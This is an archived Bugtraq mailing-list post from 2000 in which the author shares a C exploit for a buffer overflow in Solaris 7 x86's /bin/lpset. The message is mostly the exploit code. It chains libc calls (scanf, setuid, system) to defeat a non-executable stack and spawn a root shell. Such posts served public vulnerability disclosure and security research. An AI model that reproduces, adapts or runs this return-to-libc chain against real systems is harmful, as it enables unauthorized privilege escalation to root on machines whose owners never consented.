[14828] in bugtraq
non-exec stack
daemon@ATHENA.MIT.EDU (Tim Newsham)
Sun May 7 16:45:56 2000
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Message-Id: <m12oHOm-000W7JC@malasada.lava.net>
Date: Sat, 6 May 2000 17:06:28 -1000
Reply-To: Tim Newsham <newsham@LAVA.NET>
From: Tim Newsham <newsham@LAVA.NET>
X-To: bugtraq@securityfocus.com
To: BUGTRAQ@SECURITYFOCUS.COM
Here's an overflow exploit that works on a non-exec stack on x86 boxes.
It demonstrates how it is possible to thread together several libc
calls. I have not seen any other exploits for x86 that have done this..
for the lpset bug in sol7 x86.
Tim N.
#define BASE 0xdff40000
#define STACK 0x8047e30
#define BUFSIZE 36
#define SYSTEM (BASE + 0x5b328)
#define SCANF (BASE + 0x5ae80)
#define SETUID (BASE + 0x30873)
#define PERCD (BASE + 0x83754)
#define BINSH (BASE + 0x83654)
#define POP3 (SYSTEM + 610)
#define POP2 (SYSTEM + 611)
#define POP1 (SYSTEM + 612)
int
main()
{
unsigned char expbuf[1024];
char *env[1];
int *p, i;
memset(expbuf, 'a', BUFSIZE);
p = (int *)(expbuf + BUFSIZE);
*p++ = STACK;
*p++ = SCANF + 1;
*p++ = STACK + 6 * 4;
*p++ = POP2;
*p++ = PERCD;
*p++ = STACK + 9 * 4;
*p++ = STACK + 10 * 4;
*p++ = SETUID;
*p++ = POP1;
*p++ = 0x33333333;
*p++ = STACK + 15 * 4;
*p++ = SYSTEM;
*p++ = 0x33333333;
*p++ = BINSH;
*p = 0;
env[0] = 0;
execle("/bin/lpset", "/bin/lpset", "-n", "fns", "-r", expbuf, "123", 0,
env);
return 0;
}
